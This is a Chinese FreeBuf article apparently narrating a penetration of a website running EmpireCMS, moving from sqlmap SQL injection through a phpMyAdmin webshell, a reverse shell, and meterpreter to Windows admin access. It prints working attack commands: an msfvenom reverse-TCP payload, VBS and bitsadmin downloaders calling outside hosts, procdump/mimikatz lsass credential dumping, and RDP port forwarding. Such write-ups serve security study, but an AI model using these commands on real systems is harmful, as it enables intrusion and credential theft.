freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一次艰难的网站渗透
2019-06-15 10:21:03

信息收集

对某网站进行的一次渗透过程。

存在php探针,phpinfo,phpmyadmin

image.png

image.png

弱口令登录失败。

网站使用帝国cms7.2

image.png

弱口令登录失败,使用帝国cms的通用漏洞,失败。

在知道绝对路径的情况下,dba权限的sql注入可以直接执行os-shell命令拿shell。

扫描开放端口,反查域名,寻找最可能存在sql注入的网站。

image.png

经过多次尝试,发现了一个联合查询型。且为dba权限的注入点。

image.png

sql注入的利用

已知绝对路径,且注入点为dba权限,在平时的大多数渗透中,就已经意味着getshell了。

然而,在这次渗透中,os-shell并没有执行成功。

image.png

经过多次尝试都以失败告终,猜测某种waf起了作用。

尝试使用sqlmap的写文件命令(--file-write 本地文件地址 --file-dest 写入地址),直接写入文件到网站目录下。

image.png

image.png

没有找到文件,多次尝试sqlmap无法成功写入文件。

尝试使用sql-shell执行sql语句写入文件。

image.png

失败,显示不支持非查询语句。

image.png

肉到嘴边吃不到呢,这感觉不好,sqlmap中所有能getshell的方法,都试的差不多了,依然没有成功。

这时突然想起了网站存在phpmyadmin,也许可以通过phpmyadmin拿shell。

不知道数据库密码,需要通过sqlmap的--file-read命令读取网站的配置文件。一般情况下网站配置文件的位置是没法确定的,然而,网站使用了帝国cms,一般配置文件的位置是固定的。帝国cms7.0后配置文件在e/config/config.php

image.png

成功读取到网站配置信息。

image.png

phpmyadmin的利用

使用获取到的密码登录phpmyadmin

image.png

执行sql语句写入文件。

image.png

执行成功。

image.png

访问生成的文件,可以访问到,使用菜刀连接失败。

image.png

怀疑是木马没有免杀,或者菜刀流量被拦截。

换上免杀马,使用插件hackbar执行一句话,和加密中转shell流量都以失败告终。

经过多次尝试对比,发现脚本木马只能够本地执行,无法远程执行命令。

<?php echo `ipconfig`>

生成一个本地执行ipconfig的脚本文件,并把内容输出出来。
访问该文件,成功访问到输出的ip信息。

image.png

image.png

猜测正向连接无法使用,只能使用反向连接,把对方的shell反弹到公网。
把反弹脚本转化为16进制。

image.png

开启nc监听,访问生成的文件。

image.png

反弹成功,且为最高权限。

image.png

但是进程中发现存在360全家桶。无法添加用户。只能尝试读取当前管理员的密码。
且上传Mimikatz无法做到免杀。

采取另一种方案Procdump+Mimikatz:

Procdump由微软官方提供:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
分为2步:
1、导出lsass.exe进程

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2、使用mimikatz破解导出的文件lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

因此现在需要上传procdump64.exe生成lsass.dmp文件,下载下来在本地读取密码。

在只能输入dos命令的情况下一般通过2种方法下载文件。

1、创建downfile.vbs下载文件。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs
cscript downfile.vbs http://192.168.40.13:9090/fileLibrary/5d5X9mSTZXjH9VlhXNN/x.txt D:\\tomcat8.5\\webapps\\x.jsp

2、使用bitsadmin命令

bitsadmin /transfer n http://www.xx.com/code.jpg c:\users\sdyp\desktop\ff.jpg

首先利用第一种方法下载,上传vbs文件失败了,360全家桶果然可以。vps被当成病毒被杀了。

使用第二种方法,也失败了,不知道是由于什么原因失败的。

在dos命令无法满足我的情况下,msf出场了。

msf的利用

由于到目前为止,只能通过数据库进行文件的上传。

因此需要用到php的反弹木马,再加上360全家桶不会去检查网站文件的安全性,省了免杀处理的环节。

php反弹木马使用php/meterpreter/reverse_tcp模块

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php

image.png

转化为16进制,使用phpmyadmin上传,开启监听,访问上传的文件。

image.png

成功接收到了会话。

使用meterpreter的上传命令上传procdump64.exe到网站根目录

使用procdump64.exe -accepteula -ma lsass.exe lsass.dmp命令导出lsass.dmp文件到根目录下载下来。

image.png

使用内核相同到虚拟机运行mimikatz,得到管理员明文的账户密码。

image.png

到这一步已经得到了管理员到账户密码,下一步需要把远程连接服务转发出来。

使用tasklist /svc命令查看TermService的进程号。

使用netstat -ano查看进程号对应的端口为5277

确定5277为修改后远程桌面服务端口。

在meterpreter中使用端口转发,转发5277到本地的5555端口。

portfwd add -l 5555 -p 5277 -r 192.168.100.208

远程桌面连接本地的5555端口,输入得到的账户密码,登录成功。

image.png

证实了服务器的防护很多,vbs文件被杀了!终于渗透成功,总归只能说网站的运行权限太高了,如果只是普通用户,想要拿下这台服务器可真的是太难了。

# 渗透 # web安全 # 网站
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者